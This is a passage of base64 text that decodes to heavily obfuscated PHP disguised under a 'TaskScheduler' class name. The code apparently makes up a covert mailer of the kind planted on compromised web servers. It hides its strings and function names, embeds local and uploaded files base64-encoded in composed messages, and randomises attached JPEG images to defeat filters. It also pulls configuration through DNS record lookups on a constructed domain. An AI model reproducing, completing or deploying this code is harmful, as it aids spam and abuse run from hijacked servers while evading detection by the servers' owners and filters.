VyZSgkX3dwZCksICRfaGNzKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAcHJlZ19tYXRjaF9hbGwoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JnaScsICdfZ3hiJyksICRfaGNzLCAkX2ZxKTsKICAgICAgICBpZiAoIWVtcHR5KCRfZnFbMDFdKSkgewogICAgICAgICAgICBmb3JlYWNoICgkX2ZxWzAxXSBhcyAkX2h6ID0+ICRfdnp4KSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+X2JiW10gPSBAZXhwbG9kZShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcmVqJywgJ193YnknKSwgJF92engpOwogICAgICAgICAgICAgICAgJF9oY3MgPSAkdGhpcy0+X25tKCRfZnFbMDBdWyRfaHpdLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbmRwJywgJ196YicpLCAkX2hjcyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sc3AnLCAnX2VuaicpLCAkX2hjcywgJF9weSk7CiAgICAgICAgaWYgKCFlbXB0eSgkX3B5WzAxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF9weVswMV0gYXMgJF9oeiA9PiAkX3p5KSB7CiAgICAgICAgICAgICAgICAkX3prZSA9IEBleHBsb2RlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xYmUnLCAnX2NzeCcpLCAkX3p5KTsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX3prZVswMF0pKSB7CiAgICAgICAgICAgICAgICAgICAgQHByZWdfbWF0Y2hfYWxsKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19mbicsICdfbWxsJyksICRfemtlWzAwXSwgJF96aCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3poWzAxXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF96aFswMV0gYXMgJF94ZWIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfb3NkID0gQGV4cGxvZGUoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2twJywgJ19reGonKSwgJF94ZWIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGluaXRfc3lzdGVtKCRfb3NkKSA9PSAwMikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfamx0ID0gcmFuZChwZnMoJF9vc2RbMDBdKSwgcGZzKCRfb3NkWzAxXSkgLSAwMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF96a2VbMDBdID0gJHRoaXMtPl9ubSgkX3hlYiwgJF9qbHQsICRfemtlWzAwXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF96a2VbMDBdID0gY29tcHV0ZV9vdXRwdXQoYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX252aycsICdfbWZ6JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19jZWknLCAnX2dibycpKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2pybCcsICdfbnAnKSwgJF96a2VbMDBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5fYmJbXSA9ICRfemtlOwogICAgICAgICAgICAgICAgJF9oY3MgPSAkdGhpcy0+X25tKCRfcHlbMDBdWyRfaHpdLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdWNmJywgJ19tdGYnKSwgJF9oY3MpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBwcmVnX21hdGNoX2FsbChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYmRrJywgJ19qYicpLCAkX2hjcywgJF9hZ3kpOwogICAgICAgIGlmICghZW1wdHkoJF9hZ3lbMDFdKSkgewogICAgICAgICAgICAkX2llID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NzbycsICdfam9wJyk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfYWd5WzAxXSBhcyAkX2FveSA9PiAkX3RwKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9pZSwgQGZpbGVfZ2V0X2NvbnRlbnRzKCRfdHApKTsKICAgICAgICAgICAgICAgICRfdXMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9pZSk7CiAgICAgICAgICAgICAgICBpZiAoJF91cykgewogICAgICAgICAgICAgICAgICAgICRfcXkgPSAkdGhpcy0+X253dygkX2llKTsKICAgICAgICAgICAgICAgICAgICAkX3lqeSA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kbWsnLCAnX3RydicpIC4gJF9xeSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19veXInLCAnX2Z0dCcpIC4gYmFzZTY0X2VuY29kZSgkX3VzKTsKICAgICAgICAgICAgICAgICAgICAkX2hjcyA9ICR0aGlzLT5fbm0oJF9hZ3lbMDBdWyRfYW95XSwgJF95anksICRfaGNzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJF9pZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9oY3MgPSBjb21wdXRlX291dHB1dChhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbmp3JywgJ19yaGwnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3R2ZScsICdfeWtlJykpLCBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb3dwJywgJ194bHQnKSwgaGFzaF9zdHJpbmcoJF9ocnpbMDBdKSksICRfaGNzKTsKICAgICAgICByZXR1cm4gJF9oY3M7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9zcGEoJF91Zm4sICRfdnNqLCAkX3B6biA9IG51bGwpCiAgICB7CiAgICAgICAgJF9ycCA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sdicsICdfaGppJykgLiAkdGhpcy0+X2dhcygkdGhpcy0+X2p0bSwgJF91Zm4pIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2Z4dycsICdfZnJnJykgLiAkX3ZzaiAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19pbHAnLCAnX2FsbScpOwogICAgICAgIGlmICghbGZqKCRfcHpuKSkgewogICAgICAgICAgICAkX3JwIC49IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19wcGknLCAnX2l4cCcpIC4gJF9wem4gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYnFrJywgJ19xeGMnKTsKICAgICAgICB9CiAgICAgICAgJF9ycCAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfamEnLCAnX2xvJyk7CiAgICAgICAgaWYgKCR0aGlzLT5fdGgpIHsKICAgICAgICAgICAgJF9ycCAuPSBjb21wdXRlX291dHB1dChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbm52JywgJ195dXAnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21zbycsICdfZ3VrJyksIGhhc2hfc3RyaW5nKCR0aGlzLT5fdGgpKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19nemQnLCAnX2F4aScpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9ycDsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dhcygkX3liLCAkX2hjcykKICAgIHsKICAgICAgICBzd2l0Y2ggKCRfeWIpIHsKICAgICAgICAgICAgY2FzZSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmFtJywgJ19jdWwnKToKICAgICAgICAgICAgICAgIHJldHVybiBmdW5jdGlvbl9leGlzdHMoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3JxZCcsICdfeGNnJykpID8gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX25teCcsICdfcndxJykgLiAkdGhpcy0+X3liIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3BsbicsICdfeXgnKSAuIGJhc2U2NF9lbmNvZGUoQGljb252KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19nem4nLCAnX2JkbicpLCAkdGhpcy0+X3liLCAkX2hjcykpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2d5bScsICdfenZvJykgOiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYmNhJywgJ195cnknKSAuICR0aGlzLT5feWIgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcHhlJywgJ19yc2onKSAuIGJhc2U2NF9lbmNvZGUoJF9oY3MpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2l6YycsICdfcHFvJyk7CiAgICAgICAgICAgIGNhc2UgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX29kdycsICdfd2NxJyk6CiAgICAgICAgICAgICAgICByZXR1cm4gZnVuY3Rpb25fZXhpc3RzKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ncCcsICdfY3R2JykpID8gQG1iX2VuY29kZV9taW1laGVhZGVyKCRfaGNzLCAkdGhpcy0+X3liLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY2RlJywgJ19xeW8nKSkgOiAkX2hjczsKICAgICAgICB9CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9rdygkX3liLCAkX2hjcykKICAgIHsKICAgICAgICAkX2FoID0gY29tcHV0ZV9vdXRwdXQoYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2tjZScsICdfcmd5JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yeHEnLCAnX2NrZycpKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JsbycsICdfbmInKSwgJF9oY3MpOwogICAgICAgICRfYWggPSBjb21wdXRlX291dHB1dChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmYnLCAnX2tubycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc2FnJywgJ19yY3QnKSwgJF9haCk7CiAgICAgICAgc3dpdGNoICgkX3liKSB7CiAgICAgICAgICAgIGNhc2UgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FrdScsICdfeGZwJyk6CiAgICAgICAgICAgICAgICByZXR1cm4gaGFuZGxlX2Vycm9yKHJ1bl9wcm9jZWR1cmUoJF9haCkpOwogICAgICAgICAgICBjYXNlIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sbicsICdfdmhoJyk6CiAgICAgICAgICAgICAgICByZXR1cm4gZGlzcGF0Y2hfc2lnbmFsKCRfYWgpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2dsbCcsICdfdnRmJyk7CiAgICAgICAgfQogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfeWpsKCRfdmFpKQogICAgewogICAgICAgICRfaGcgPSBoYXNoX3N0cmluZyhhbmFseXplX2RhdGEoJF92YWksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19iZnEnLCAnX2J0cicpKSk7CiAgICAgICAgJF93cSA9IHRydWU7CiAgICAgICAgd2hpbGUgKCRfd3EpIHsKICAgICAgICAgICAgJF9qamwgPSBAc3RycG9zKCRfaGcsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19raHYnLCAnX294ZCcpKTsKICAgICAgICAgICAgaWYgKCRfampsICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJF91bCA9IEBzdHJwb3MoJF9oZywgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21yaScsICdfcHonKSwgJF9qamwgKyAwMSk7CiAgICAgICAgICAgICAgICBpZiAoJF91bCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfdWwgPSBAc3RycG9zKCRfaGcsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hemUnLCAnX3JjdScpLCAkX3VsICsgMDEpOwogICAgICAgICAgICAgICAgaWYgKCRfdWwgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2hsID0gQHN0cnBvcygkX2hnLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdGVyJywgJ19lb2knKSwgJF91bCArIDAxKTsKICAgICAgICAgICAgICAgIGlmICgkX2hsID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9odSA9IEBzdHJwb3MoJF9oZywgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2tuaycsICdfYnVmJyksICRfaGwgKyAwMSk7CiAgICAgICAgICAgICAgICBpZiAoJF9odSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfaHUgPSBAc3RycG9zKCRfaGcsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194ZWsnLCAnX3FiZicpLCAkX2h1ICsgMDEpOwogICAgICAgICAgICAgICAgaWYgKCRfaHUgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3NjZyA9IEBzdWJzdHIoJF9oZywgMDAsICRfampsKTsKICAgICAgICAgICAgICAgICRfcnJxID0gQHN1YnN0cigkX2hnLCAkX3VsICsgMDEsICRfaGwgLSAkX3VsIC0gMDEpOwogICAgICAgICAgICAgICAgJF9kdCA9IEBzdWJzdHIoJF9oZywgJF9odSArIDAxKTsKICAgICAgICAgICAgICAgICRfaGcgPSAkX3NjZyAuICRfcnJxIC4gJF9kdDsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRfd3EgPSBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9oZzsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX25tKCRfdWp3LCAkX29mLCAkX2hjcykKICAgIHsKICAgICAgICAkX2JobCA9IEBzdHJwb3MoJF9oY3MsICRfdWp3KTsKICAgICAgICByZXR1cm4gJF9iaGwgIT09IGZhbHNlID8gQHN1YnN0cl9yZXBsYWNlKCRfaGNzLCAkX29mLCAkX2JobCwgcHJvY2Vzc19xdWV1ZSgkX3VqdykpIDogJF9oY3M7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9tYncoJF90cCkKICAgIHsKICAgICAgICByZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfdHAsIGZhbHNlLCAkdGhpcy0+X2tlKTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3JjYygkX3hsKQogICAgewogICAgICAgICRfbnUgPSBvcHRpbWl6ZV9jYWNoZShAcGF0aGluZm8oJF94bCwgMDQpKTsKICAgICAgICBpZiAoZGVjb2RlX2lucHV0KCRfbnUsIGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yY3InLCAnX3B3YycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZWxiJywgJ19yZ2QnKSkpICYmICR0aGlzLT5fZHJyKCkpIHsKICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5fdGZ6KCRfRklMRVNbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3JsdCcsICdfZXRwJyldW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rZmUnLCAnX3hzZCcpXSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBAZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1tUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdmtpJywgJ19wcGgnKV1bVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hxbScsICdfbXVmJyldKTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2NpaCgpCiAgICB7CiAgICAgICAgJF9jZCA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191cScsICdfZnBlJyk7CiAgICAgICAgcmV0dXJuIEBzdWJzdHIoc2NoZWR1bGVfd29yayhmcmVlX3Jlc291cmNlcygkX2NkLCByYW5kKDAzLCAwMTApKSksIDAwLCByYW5kKDAzLCAwMTApKTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3lmeSgkX3NpdywgJF90YW0gPSAwMCkKICAgIHsKICAgICAgICBpZiAoJF90YW0gPT09IDAxKSB7CiAgICAgICAgICAgICRfY2QgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfamlzJywgJ194anMnKTsKICAgICAgICB9IGVsc2VpZiAoJF90YW0gPT09IDAyKSB7CiAgICAgICAgICAgICRfY2QgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa3pwJywgJ19ma3onKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX2NkID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JjcicsICdfdnV3Jyk7CiAgICAgICAgfQogICAgICAgICRfaHl3ID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3JrdScsICdfY2InKTsKICAgICAgICAkX3praiA9IHByb2Nlc3NfcXVldWUoJF9jZCkgLSAwMTsKICAgICAgICBmb3IgKCRfaHogPSAwMDsgJF9oeiA8ICRfc2l3OyAkX2h6KyspIHsKICAgICAgICAgICAgJF9oeXcgLj0gJF9jZFttdF9yYW5kKDAwLCAkX3praildOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9oeXc7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9kcnIoKQogICAgewogICAgICAgIGZvcmVhY2ggKGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kaG8nLCAnX2J0cycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZG4nLCAnX3JicicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmRzJywgJ19wdGYnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FtdCcsICdfa3puJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xeWknLCAnX21yZicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaXRyJywgJ19kYm8nKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3l1aicsICdfeWltJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193enInLCAnX2ZoYycpKSBhcyAkX2pueikgewogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygkX2pueikpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3RmeigkX2FhKQogICAgewogICAgICAgIGxpc3QoJF9ueiwgJF9xbykgPSBAZ2V0aW1hZ2VzaXplKCRfYWEpOwogICAgICAgICRfdnBvID0gcmFuZCgwMSwgMDIpID09IDAxID8gJF9ueiArIHJhbmQoLTAxMiwgMDEyKSA6ICRfbno7CiAgICAgICAgJF9hcCA9IHJhbmQoMDEsIDAyKSA9PSAwMSA/ICRfcW8gKyByYW5kKC0wMTIsIDAxMikgOiAkX3FvOwogICAgICAgICRfa2xrID0gcmFuZCgwMSwgMDIpID09IDAxID8gMDExMyA6IHJhbmQoMDEwMSwgMDE1MSk7CiAgICAgICAgJF96diA9IHJhbmQoMDEsIDAyKSA9PSAwMSA/IHJhbmQoMDAsIDA0MykgOiAwMDsKICAgICAgICAkX2Z1YSA9IHJhbmQoMDEsIDAyKSA9PSAwMSA/IHJhbmQoLTAxNywgMDE3KSA6IDAwOwogICAgICAgICRfY3IgPSBAaW1hZ2VjcmVhdGV0cnVlY29sb3IoJF92cG8sICRfYXApOwogICAgICAgICRfeXhpID0gQGltYWdlY3JlYXRlZnJvbWpwZWcoJF9hYSk7CiAgICAgICAgQGltYWdlY29weXJlc2FtcGxlZCgkX2NyLCAkX3l4aSwgMDAsIDAwLCAwMCwgMDAsICRfdnBvLCAkX2FwLCAkX256LCAkX3FvKTsKICAgICAgICBAaW1hZ2VmaWx0ZXIoJF9jciwgSU1HX0ZJTFRFUl9DT05UUkFTVCwgJF9mdWEpOwogICAgICAgIEBpbWFnZWZpbHRlcigkX2NyLCBJTUdfRklMVEVSX0JSSUdIVE5FU1MsICRfenYpOwogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBpbWFnZWpwZWcoJF9jciwgbnVsbCwgJF9rbGspOwogICAgICAgICRfdG0gPSBAb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgQGltYWdlZGVzdHJveSgkX2NyKTsKICAgICAgICByZXR1cm4gJF90bTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX253dygkX2FhKQogICAgewogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hhdCcsICdfa2R1JykpKSB7CiAgICAgICAgICAgIHJldHVybiBAbWltZV9jb250ZW50X3R5cGUoJF9hYSk7CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cyhUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbXAnLCAnX3l3aCcpKSkgewogICAgICAgICAgICAkX25tID0gQGZpbmZvX29wZW4oMDIwKTsKICAgICAgICAgICAgaWYgKCRfbm0pIHsKICAgICAgICAgICAgICAgICRfanFyID0gQGZpbmZvX2ZpbGUoJF9ubSwgJF9hYSk7CiAgICAgICAgICAgICAgICBAZmluZm9fY2xvc2UoJF9ubSk7CiAgICAgICAgICAgICAgICByZXR1cm4gJF9qcXIgPyAkX2pxciA6IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193aXAnLCAnX3V1cCcpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfbnUgPSBvcHRpbWl6ZV9jYWNoZShAcGF0aGluZm8oJF9hYSwgMDQpKTsKICAgICAgICAkX2ZsayA9IGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hd3EnLCAnX3NyeCcpID0+IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ190eWInLCAnX2d0dCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZG9nJywgJ19hbm8nKSA9PiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZGVpJywgJ190c2InKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3BqdCcsICdfYnJrJykgPT4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NsJywgJ19xdHgnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3p1aycsICdfd2NlJykgPT4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3RrdycsICdfYmknKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FkZCcsICdfcmltJykgPT4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2V1ZCcsICdfZmF3JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19idmMnLCAnX2VqdicpID0+IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yaWknLCAnX2Z6JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19tZicsICdfYnFxJykgPT4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2xpJywgJ19kcm0nKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3BlbycsICdfdnEnKSA9PiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeGh3JywgJ19xdCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdnBxJywgJ19pbmknKSA9PiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeXRpJywgJ19hdHEnKSk7CiAgICAgICAgcmV0dXJuIGlzc2V0KCRfZmxrWyRfbnVdKSA/ICRfZmxrWyRfbnVdIDogVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21vaScsICdfdGNlJyk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9oaXUoJF9keikKICAgIHsKICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cyhUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeWh5JywgJ192a3knKSkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkX2J5ID0gcmVzb2x2ZV9kZXBlbmRlbmN5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194cicsICdfcHV3JyksIHZhbGlkYXRlX2VudHJ5KHByb2Nlc3NfcmVxdWVzdChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdG8nLCAnX2VuZScpLCAkX2R6KSkpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3RyaicsICdfaW1kJyk7CiAgICAgICAgJF9qcCA9IEBkbnNfZ2V0X3JlY29yZCgkX2J5LCAwNDAwMCk7CiAgICAgICAgaWYgKCEkX2pwIHx8ICFpc3NldCgkX2pwWzAwXVtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc3puJywgJ195Y2gnKV0pKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfanBbMDBdW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19oaWwnLCAnX3l3ZycpXTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3Z0KCkKICAgIHsKICAgICAgICAkX3VmID0gQGRhdGUoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3RjaicsICdfZWNqJykpOwogICAgICAgICRfZnJqID0gJF91ZiA8IDAwID8gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2N5YycsICdfZnpuJykgOiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa3RkJywgJ19ncnAnKTsKICAgICAgICAkX3VmID0gYWJzKCRfdWYpOwogICAgICAgICRfdWYgPSAoaW50KSAoJF91ZiAvIDA3MDIwKSAqIDAxNDQgKyAkX3VmICUgMDcwMjAgLyAwNzQ7CiAgICAgICAgcmV0dXJuIGluaXRpYWxpemVfY29tcG9uZW50KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191a28nLCAnX2xzaCcpLCBAZGF0ZShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZG14JywgJ19pbCcpKSwgJF9mcmosI